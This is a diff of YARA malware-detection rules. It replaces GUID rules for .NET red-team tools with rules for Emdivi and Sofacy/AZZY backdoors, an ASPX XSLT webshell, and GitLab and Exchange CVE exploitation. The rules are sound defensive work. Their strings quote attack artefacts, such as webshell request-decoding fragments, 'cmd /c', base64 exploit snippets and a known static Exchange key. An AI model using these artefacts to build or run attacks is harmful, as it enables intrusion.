-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ccdb8501b0f26aca352a13d5337d64c2eccff695bd052bd10bcd324c62c931e5"
-		score = 75
+		description = "Detects Emdivi Malware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c3d712ae-3f8e-578c-81cd-fd3e48213875"
+		date = "2015-08-20"
+		modified = "2023-01-06"
+		reference = "https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_bluetermite_emdivi.yar#L87-L114"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ff89a0855481d723f23e0c00f6b6eaf912e6df3a7e9ebe4ff1e6ccf2b02f0888"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "008f4f14cf64dc9d323b6cb5942da4a99979c4c7d750ec1228d8c8285883771e"
+		hash2 = "a94bf485cebeda8e4b74bbe2c0a0567903a13c36b9bf60fab484a9b55207fe0d"
 
 	strings:
-		$typelibguid0lo = "b9fbf3ac-05d8-4cd5-9694-b224d4e6c0ea" ascii wide
-		$typelibguid0up = "B9FBF3AC-05D8-4CD5-9694-B224D4E6C0EA" ascii wide
+		$x1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727.42)" fullword ascii
+		$s2 = "\\Mozilla\\Firefox\\Profiles\\" ascii
+		$s4 = "\\auto.cfg" ascii
+		$s5 = "/ncsi.txt" fullword ascii
+		$s6 = "/en-us/default.aspx" fullword ascii
+		$s7 = "cmd /c" fullword ascii
+		$s9 = "APPDATA" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <850KB and (($x1 and 1 of ($s*)) or (4 of ($s*)))
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Vanillarat : FILE
+rule SIGNATURE_BASE_Emdivi_Gen4 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "9448e8d0-5bfc-5683-b633-284e43d24642"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/DannyTheSloth/VanillaRAT"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3739-L3755"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4241cbbf7cde175b6dfd27b59123e5e324f4356184dae07529dd021c0f3dbea9"
-		score = 75
-		quality = 85
+		description = "Detects Emdivi Malware"
+		author = "Florian Roth (Nextron Systems) @Cyber0ps"
+		id = "02629873-a797-51ff-83fc-af499cafa1e8"
+		date = "2015-08-20"
+		modified = "2023-12-05"
+		reference = "https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_bluetermite_emdivi.yar#L116-L143"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9c1645023ceefdb849cf4b0e60de8c608bfd5e15d3aac6d16d68a36140a8ebed"
+		score = 80
+		quality = 79
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "008f4f14cf64dc9d323b6cb5942da4a99979c4c7d750ec1228d8c8285883771e"
+		hash2 = "17e646ca2558a65ffe7aa185ba75d5c3a573c041b897355c2721e9a8ca5fee24"
+		hash3 = "3553c136b4eba70eec5d80abe44bd7c7c33ab1b65de617dbb7be5025c9cf01f1"
+		hash4 = "6a331c4e654dd8ddaa2c69d260aa5f4f76f243df8b5019d62d4db5ae5c965662"
+		hash5 = "90d07ea2bb80ed52b007f57d0d9a79430cd50174825c43d5746a16ee4f94ea86"
+		hash6 = "a94bf485cebeda8e4b74bbe2c0a0567903a13c36b9bf60fab484a9b55207fe0d"
 
 	strings:
-		$typelibguid0lo = "d0f2ee67-0a50-423d-bfe6-845da892a2db" ascii wide
-		$typelibguid0up = "D0F2EE67-0A50-423D-BFE6-845DA892A2DB" ascii wide
-		$typelibguid1lo = "a593fcd2-c8ab-45f6-9aeb-8ab5e20ab402" ascii wide
-		$typelibguid1up = "A593FCD2-C8AB-45F6-9AEB-8AB5E20AB402" ascii wide
+		$s1 = ".http_port\", " fullword wide
+		$s2 = "UserAgent: " fullword ascii
+		$s3 = "AUTH FAILED" fullword ascii
+		$s4 = "INVALID FILE PATH" fullword ascii
+		$s5 = ".autoconfig_url\", \"" fullword wide
+		$s6 = "FAILED TO WRITE FILE" fullword ascii
+		$s7 = ".proxy" fullword wide
+		$s8 = "AuthType: " fullword ascii
+		$s9 = ".no_proxies_on\", \"" fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <853KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Unmanagedpowershell : FILE
+rule SIGNATURE_BASE_WEBSHELL_ASPX_Xsltransform_Aug21 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "49ff1362-0ac5-580d-97f3-516f2a10072b"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/leechristensen/UnmanagedPowerShell"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3757-L3771"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "26e59a31b1021c6e65711ee8d58cfdf3e1a8563b91f0f55722e1306854103ac6"
+		description = "Detects an ASPX webshell utilizing XSL Transformations"
+		author = "Max Altgelt"
+		id = "44254084-a717-59e6-a3ac-eca3c1c864a8"
+		date = "2020-02-23"
+		modified = "2023-12-05"
+		reference = "https://gist.github.com/JohnHammond/cdae03ca5bc2a14a735ad0334dcb93d6"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/webshell_xsl_transform.yar#L1-L19"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3ac0b50adc4c56769d0248e213e9426a22e0f5086bf081da57f835ff1c77b716"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "dfc4eebb-7384-4db5-9bad-257203029bd9" ascii wide
-		$typelibguid0up = "DFC4EEBB-7384-4DB5-9BAD-257203029BD9" ascii wide
+		$csharpshell = "Language=\"C#\"" nocase
+		$x1 = "<root>1</root>"
+		$x2 = ".LoadXml(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String("
+		$s1 = "XsltSettings.TrustedXslt"
+		$s2 = "Xml.XmlUrlResolver"
+		$s3 = "FromBase64String(Request[\""
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <500KB and $csharpshell and (1 of ($x*) or all of ($s*))
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Quasar : FILE
+rule SIGNATURE_BASE_EXPL_Gitlab_CE_RCE_CVE_2021_22205 : CVE_2021_22205
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "b938cf7d-27fd-5fa2-b0e5-d4da5670f3ef"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/quasar/Quasar"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3773-L3789"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "752602eecc404757f029aea481a58dc5b3d4c80f53fea1281e1ab8a78476d416"
-		score = 75
+		description = "Detects signs of exploitation of GitLab CE CVE-2021-22205"
+		author = "Florian Roth (Nextron Systems)"
+		id = "21cc6fa7-e50d-5b8e-815d-27315ab5635d"
+		date = "2021-10-26"
+		modified = "2023-12-05"
+		reference = "https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/exploit_gitlab_cve_2021_22205.yar#L2-L27"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "54b841716a6bd56706c1c38fcda9a27ffd7feba2660602b191e8e347983e578d"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "CVE-2021-22205"
 
 	strings:
-		$typelibguid0lo = "cfda6d2e-8ab3-4349-b89a-33e1f0dab32b" ascii wide
-		$typelibguid0up = "CFDA6D2E-8AB3-4349-B89A-33E1F0DAB32B" ascii wide
-		$typelibguid1lo = "c7c363ba-e5b6-4e18-9224-39bc8da73172" ascii wide
-		$typelibguid1up = "C7C363BA-E5B6-4E18-9224-39BC8DA73172" ascii wide
+		$sa1 = "VXNlci5maW5kX2J5KHVzZXJuYW1l" ascii
+		$sa2 = "VzZXIuZmluZF9ieSh1c2VybmFtZ" ascii
+		$sa3 = "Vc2VyLmZpbmRfYnkodXNlcm5hbW" ascii
+		$sb1 = "dXNlci5hZG1pb" ascii
+		$sb2 = "VzZXIuYWRtaW" ascii
+		$sb3 = "1c2VyLmFkbWlu" ascii
+		$sc1 = "dXNlci5zYXZlI" ascii
+		$sc2 = "VzZXIuc2F2ZS" ascii
+		$sc3 = "1c2VyLnNhdmUh" ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		1 of ($sa*) and 1 of ($sb*) and 1 of ($sc*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpadidnsdump : FILE
+rule SIGNATURE_BASE_EXPL_Gitlab_CE_RCE_Malformed_JPG_CVE_2021_22204 : CVE_2021_22204 CVE_2021_22205 FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "51d50b22-4e73-5378-9e0d-ad7730987293"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/b4rtik/SharpAdidnsdump"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3791-L3805"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fe1bfdd03fabe40c2b885121de343890dd7eea22b51e9a1133d0842ba1080c78"
-		score = 75
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		description = "Detects malformed JPG files exploting EXIF vulnerability CVE-2021-22204 and used in the exploitation of GitLab vulnerability CVE-2021-22205"
+		author = "Florian Roth (Nextron Systems)"
+		id = "3d769340-0306-596d-8783-2b37b93a5673"
+		date = "2021-10-26"
+		modified = "2023-12-05"
+		reference = "https://attackerkb.com/topics/D41jRUXCiJ/cve-2021-22205/rapid7-analysis?referrer=blog"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/exploit_gitlab_cve_2021_22205.yar#L29-L44"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0718ad24337acbb746c6e0d7e0b42d2d034ff583ec6fd12b34fda4737d7e78b0"
+		score = 70
+		quality = 83
+		tags = "CVE-2021-22204, CVE-2021-22205, FILE"
 
 	strings:
-		$typelibguid0lo = "cdb02bc2-5f62-4c8a-af69-acc3ab82e741" ascii wide
-		$typelibguid0up = "CDB02BC2-5F62-4C8A-AF69-ACC3AB82E741" ascii wide
+		$h1 = { 41 54 26 54 46 4F 52 4D }
+		$sr1 = /\(metadata[\s]{0,3}\([A-Za-z]{1,20} "\\/
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <10KB and $h1 and $sr1
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Dotnettojscript : FILE
+rule SIGNATURE_BASE_VUL_Exchange_CVE_2020_0688 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "31827074-fc63-5690-b6c7-8e89daacc07f"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/tyranid/DotNetToJScript"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3807-L3821"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ddaa4e3dac9d98f3aba0eff7a968a7599c2901ec8b668c5e1115ac67a0a77f30"
-		score = 75
+		description = "Detects static validation key used by Exchange server in web.config"
+		author = "Florian Roth (Nextron Systems)"
+		id = "1065f297-0dc4-5dcb-b0f3-c89d06ff5e69"
+		date = "2020-02-26"
+		modified = "2023-12-05"
+		reference = "https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/vul_cve_2020_0688.yar#L2-L15"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "035971028d36c8bbcc6a274817187adfbfefe530ff6808af5a7c0b4667c1bd8b"
+		score = 60
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "7e3f231c-0d0b-4025-812c-0ef099404861" ascii wide
-		$typelibguid0up = "7E3F231C-0D0B-4025-812C-0EF099404861" ascii wide
+		$h1 = "<?xml "
+		$x1 = "<machineKey validationKey=\"CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\"" ascii wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <=300KB and $h1 at 0 and $x1
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Inferno : FILE
+rule SIGNATURE_BASE_Sofacy_Malware_Strangespaces : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "af2d9832-c7f9-5879-a19b-a3c4d91b8b3f"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/LimerBoy/Inferno"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3823-L3837"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a3255a00a1c2773d34e9e859c3394752ea6bfc164c4694a001c9a1c9b384756b"
+		description = "Detetcs strange strings from Sofacy malware with many spaces"
+		author = "Florian Roth (Nextron Systems)"
+		id = "60f99b88-f256-5289-852c-c0bf27f1cbd4"
+		date = "2015-12-04"
+		modified = "2023-12-05"
+		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sofacy_dec15.yar#L8-L23"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ee8bbebaa0978d038424cee3775ba312476afa014ce0d57c73d6844f758116ca"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "26d498f7-37ae-476c-97b0-3761e3a919f0" ascii wide
-		$typelibguid0up = "26D498F7-37AE-476C-97B0-3761E3A919F0" ascii wide
+		$s2 = "Delete Temp Folder Service                                  " fullword wide
+		$s3 = " Operating System                        " fullword wide
+		$s4 = "Microsoft Corporation                                       " fullword wide
+		$s5 = " Microsoft Corporation. All rights reserved.               " fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <50KB and 3 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpsearch : FILE
+rule SIGNATURE_BASE_Sofacy_Malware_AZZY_Backdoor_1 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "459d8a34-f311-5459-8257-e7aa519174b5"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/djhohnstein/SharpSearch"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3839-L3853"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b213a12913abb631d67bf53049241a7087e3f9cda01fa66bd6c51bb1bd03c41f"
+		description = "AZZY Backdoor - Sample 1"
+		author = "Florian Roth (Nextron Systems)"
+		id = "184dc45e-8014-5dcf-a033-d77586c60fdf"
+		date = "2015-12-04"
+		modified = "2023-12-05"
+		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sofacy_dec15.yar#L25-L40"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a9dc96d45702538c2086a749ba2fb467ba8d8b603e513bdef62a024dfeb124cb"
+		logic_hash = "9c99f218d856d374423cada147bc38c8319f9ebff1e43e012143fad7af992d29"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "98fee742-8410-4f20-8b2d-d7d789ab003d" ascii wide
-		$typelibguid0up = "98FEE742-8410-4F20-8B2D-D7D789AB003D" ascii wide
+		$s0 = "advstorshell.dll" fullword wide
+		$s1 = "advshellstore.dll" fullword ascii
+		$s2 = "Windows Advanced Storage Shell Extension DLL" fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <150KB and 2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpsecdump : FILE
+rule SIGNATURE_BASE_Sofacy_AZZY_Backdoor_Implant_1 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "492dfb79-541a-589d-ac69-468e9b2ab9db"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/G0ldenGunSec/SharpSecDump"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3855-L3869"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "645e2df929b88526daec94f5b828235899fe0c86822960777664f11106b8da8c"
+		description = "AZZY Backdoor Implant 4.3 - Sample 1"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ec6bf8ca-ccb9-532e-8b0d-1fba59efa2da"
+		date = "2015-12-04"
+		modified = "2023-12-05"
+		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sofacy_dec15.yar#L42-L59"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1bab1a3e0e501d3c14652ecf60870e483ed4e90e500987c35489f17a44fef26c"
+		logic_hash = "b6ddf1274ed78db0c7183e3cc8063c01e4d011bc2947ec05449f3fd0df2050e7"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "e2fdd6cc-9886-456c-9021-ee2c47cf67b7" ascii wide
-		$typelibguid0up = "E2FDD6CC-9886-456C-9021-EE2C47CF67B7" ascii wide
+		$s1 = "\\tf394kv.dll" wide
+		$s2 = "DWN_DLL_MAIN.dll" fullword ascii
+		$s3 = "?SendDataToServer_2@@YGHPAEKEPAPAEPAK@Z" ascii
+		$s4 = "?Applicate@@YGHXZ" ascii
+		$s5 = "?k@@YGPAUHINSTANCE__@@PBD@Z" ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <300KB and 2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Net_Gpppassword : FILE
+rule SIGNATURE_BASE_Sofacy_AZZY_Backdoor_Helperdll : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "a718f9fc-acf5-536e-81d6-d393cebe8f77"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/outflanknl/Net-GPPPassword"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3871-L3885"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "234f75bfcb9aee331f063bd7c1984a2696067400fde7a1938a4929cd809b1345"
+		description = "Dropped C&C helper DLL for AZZY 4.3"
+		author = "Florian Roth (Nextron Systems)"
+		id = "eae089a0-21dc-5d6e-a4bc-7181dc9b8b35"
+		date = "2015-12-04"
+		modified = "2023-12-05"
+		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sofacy_dec15.yar#L61-L76"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "6cd30c85dd8a64ca529c6eab98a757fb326de639a39b597414d5340285ba91c6"
+		logic_hash = "100903551eeacf4266fc97a09949bdafe05e94698bed7cea295c8e970df22ec8"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "00fcf72c-d148-4dd0-9ca4-0181c4bd55c3" ascii wide
-		$typelibguid0up = "00FCF72C-D148-4DD0-9CA4-0181C4BD55C3" ascii wide
+		$s0 = "snd.dll" fullword ascii
+		$s1 = "InternetExchange" fullword ascii
+		$s2 = "SendData"
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Filesearcher : FILE
+rule SIGNATURE_BASE_Sofacy_Collectorstealer_Gen1 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "1b5f1f68-f87b-5e60-94a4-e2556b4e6c5d"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/NVISO-BE/FileSearcher"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3887-L3901"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "71492c6d4c1104cf47484556dc8ed1099348043102a4b7a9b1ffd180422078af"
+		description = "Generic rule to detect Sofacy Malware Collector Stealer"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f9462dd9-f6b6-59f4-a443-12d6f3be444e"
+		date = "2015-12-04"
+		modified = "2023-12-05"
+		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sofacy_dec15.yar#L80-L97"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1b6693fa45fed5ed001d8fb4b43427c7036d95cb36b125e7242864d000085018"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "4e4606313c423b681e11110ca5ed3a2b2632ec6c556b7ab9642372ae709555f3"
+		hash2 = "92dcb0d8394d0df1064e68d90cd90a6ae5863e91f194cbaac85ec21c202f581f"
 
 	strings:
-		$typelibguid0lo = "2c879479-5027-4ce9-aaac-084db0e6d630" ascii wide
-		$typelibguid0up = "2C879479-5027-4CE9-AAAC-084DB0E6D630" ascii wide
+		$s0 = "NvCpld.dll" fullword ascii
+		$s1 = "NvStop" fullword ascii
+		$s2 = "NvStart" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Adfsdump : FILE
+rule SIGNATURE_BASE_Sofacy_Collectorstealer_Gen2 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "8cb2edcd-3696-5857-90ca-e99b1af54320"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/fireeye/ADFSDump"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3903-L3917"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5bf4c506a39a3ad33a19ab40ce85e6fb7c7efeab154444b14f008c22529b0779"
+		description = "File collectors / USB stealers - Generic"
+		author = "Florian Roth (Nextron Systems)"
+		id = "03ced94f-de20-56c5-bf17-1ec7d8610684"
+		date = "2015-12-04"
+		modified = "2023-12-05"
+		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sofacy_dec15.yar#L99-L116"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e917166adf6e1135444f327d8fff6ec6c6a8606d65dda4e24c2f416d23b69d45"
+		hash = "92dcb0d8394d0df1064e68d90cd90a6ae5863e91f194cbaac85ec21c202f581f"
+		hash = "b1f2d461856bb6f2760785ee1af1a33c71f84986edf7322d3e9bd974ca95f92d"
+		logic_hash = "2086b4119bae17ec984665ea1e49d5f496a2cf6bf05ab507fe0cfb6e28039349"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "9ee27d63-6ac9-4037-860b-44e91bae7f0d" ascii wide
